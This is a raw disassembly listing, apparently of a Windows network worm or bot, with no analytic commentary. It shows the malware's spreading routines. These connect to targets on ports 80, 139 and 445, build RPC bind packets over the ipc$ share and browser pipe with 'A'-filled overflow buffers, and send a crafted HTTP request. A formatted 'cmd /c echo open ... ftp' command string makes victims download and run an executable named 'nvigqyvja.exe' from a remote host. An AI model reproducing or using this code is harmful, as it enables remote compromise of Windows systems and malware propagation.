		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+arg_0]	; int
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_427688
		call	__ftol
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_427680
		fstp	[esp+10h+var_10]
		call	_floor
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	__ftol
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D07D(int,int,__int16,char *Str)

sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_4C		= qword	ptr -4Ch
var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_B		= byte ptr  13h
Src		= dword	ptr  14h

		mov	eax, offset loc_426DF7
		call	__EH_prolog
		sub	esp, 2Ch
		mov	al, [ebp+arg_B]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp+var_38]
		push	edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_38], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp+var_4], ebx
		call	sub_40D031
		cmp	[ebp+var_2C], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp+var_38]
		call	?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp+var_18], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	dword ptr [ebp+var_28],	ebx
		mov	dword ptr [ebp+var_28+4], edi
		fild	[ebp+var_28]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_427698
		fstp	[esp+4Ch+var_4C]
		call	_ceil
		pop	ecx
		pop	ecx
		call	__ftol
		cmp	ebx, edi
		mov	[ebp+var_1C], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+arg_4]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp+var_10]
		mov	dl, [ebp+var_10]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_F]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+arg_4], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp+var_F]
		mov	[ebp+var_13], cl
		mov	cl, [ebp+var_E]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp+var_12], cl
		mov	cl, [ebp+var_E]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp+var_11], cl
		jbe	short loc_40D198
		add	[ebp+var_18], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, [ebp+esi+var_14]
		lea	ecx, [ebp+var_38]
		mov	al, byte_43245C[eax]
		push	eax		; char
		push	1		; Size
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		inc	esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	[ebp+var_18], 48h
		jb	short loc_40D1B6
		push	[ebp+Src]	; Str
		call	_strlen
		pop	ecx
		push	eax		; Size
		lea	ecx, [ebp+var_38]
		push	[ebp+Src]	; Src
		call	sub_40D50A
		mov	[ebp+var_18], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp+var_1C], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp+var_1C]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh		; char
		push	1		; Size
		lea	ecx, [ebp+var_38]
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+arg_0]
		mov	al, [ebp+var_38]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		push	ds:dword_427690
		lea	eax, [ebp+var_38]
		mov	ecx, esi
		push	edi
		push	eax
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
		mov	[ebp+var_20], ebx
		and	byte ptr [ebp+var_4], 0
		push	ebx
		lea	ecx, [ebp+var_38]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, [ebp+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D21F	proc near		; CODE XREF: .text:0040D41Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	eax, offset sub_426E14
		call	__EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43D808 ; Str
		lea	eax, [ebp+var_1C]
		push	dword ptr [ebp+arg_8] ;	__int16
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_40D07D
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_14]
		mov	byte ptr [ebp+var_4], 1
		lea	esi, [ecx+eax+36h]
		push	esi		; Size
		call	_malloc
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp+var_18]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+arg_10]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp+var_4], 0
		push	1
		lea	ecx, [ebp+var_1C]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		or	[ebp+var_4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+arg_C]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset dword_432608
		push	eax
		call	_memcpy
		add	esp, 0Ch
		mov	eax, offset Str	; "nvigqyvja.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	__snprintf
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset aSvwfbA	; "SVWfì€"
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: .text:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: .text:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		call	ds:dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		lea	eax, [ebp+0Ch]
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char	const *,uint)
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: .text:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: .text:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: .text:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: .text:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: .text:0040D3D7j
					; .text:0040D44Aj
		push	ebx
		call	dword_4CB6EC	; closesocket
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: .text:0040D394j
		push	3E8h
		call	ds:dword_427078	; Sleep


loc_40D474:				; CODE XREF: .text:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: .text:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: .text:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: .text:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; sub_426DE0+11j ...
		push	1
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8
; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40D50A(void	*Src,size_t Size)

sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

Src		= dword	ptr  4
Size		= dword	ptr  8

		mov	eax, ds:dword_427690
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx		; Size
		push	[esp+10h+Src]	; Src
		add	eax, [esi+4]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp

; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool).	PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint).	PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: .data:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D8AE(int,char,int,__int16,int,size_t Size,int,void *Src,int,int,char)

sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; sub_40D99C+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
Size		= dword	ptr  1Ch
Src		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+Size], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+Size], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax		; Size
		mov	[ebp+var_4], eax
		call	_malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+Size]
		mov	esi, [ebp+Src]
		push	edi		; Size
		add	eax, 18h
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0		; char
		sub	ebx, edi
		push	[ebp+arg_24]	; int
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx		; int
		push	edi		; Src
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]	; int
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D99C(size_t	Size,int)

sub_40D99C	proc near		; CODE XREF: .text:0040DF9Ap

var_60F0	= qword	ptr -60F0h
var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
Dest		= byte ptr -20DCh
Dst		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Size		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	offset a__0	; "."
		push	[ebp+Size]
		call	unknown_libname_4 ; Microsoft VisualC 2-8/net runtime
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40DA0F
		push	[ebp+Size]
		mov	esi, 2000h
		lea	eax, [ebp+Dest]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dest]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43D808
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_426750
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------


loc_40DA0F:				; CODE XREF: sub_40D99C+23j
		mov	esi, 2000h


loc_40DA14:				; CODE XREF: sub_40D99C+71j
		push	[ebp+Size]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: sub_40D99C+194j
					; sub_40D99C+36Aj ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: sub_40D99C+B3j
		push	48h		; Size
		lea	eax, [ebp+var_B8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax		; Size
		lea	eax, [ebp+var_98]
		push	offset dword_432914 ; Src
		push	eax		; Dst
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_84]
		push	offset dword_432900 ; Src
		push	eax		; Dst
		mov	[ebp+var_88], 3
		call	_memcpy
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4270E0	; WriteFile
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: sub_40D99C+265j
		push	[ebp+var_4]
		call	ds:dword_427068	; CloseHandle
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: sub_40D99C+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4270E8	; ReadFile
		push	ebx		; Time
		call	_time
		push	eax
		call	sub_41B8D8
		push	14h		; Size
		lea	eax, [ebp+Src]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		push	1Ch		; Size
		lea	eax, [ebp+var_30]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 20h
		call	_rand
		mov	esi, [ebp+arg_4]
		mov	[ebp+Src], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: sub_40D99C+1FCj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4		; Size
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	offset dword_4328F8 ; Src


loc_40DBBF:				; CODE XREF: sub_40D99C+20Ej
		lea	eax, [ebp+var_20]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		call	_rand
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	_rand
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp+var_18], ebx
		push	eax		; Size
		mov	[ebp+Size], eax
		inc	edx
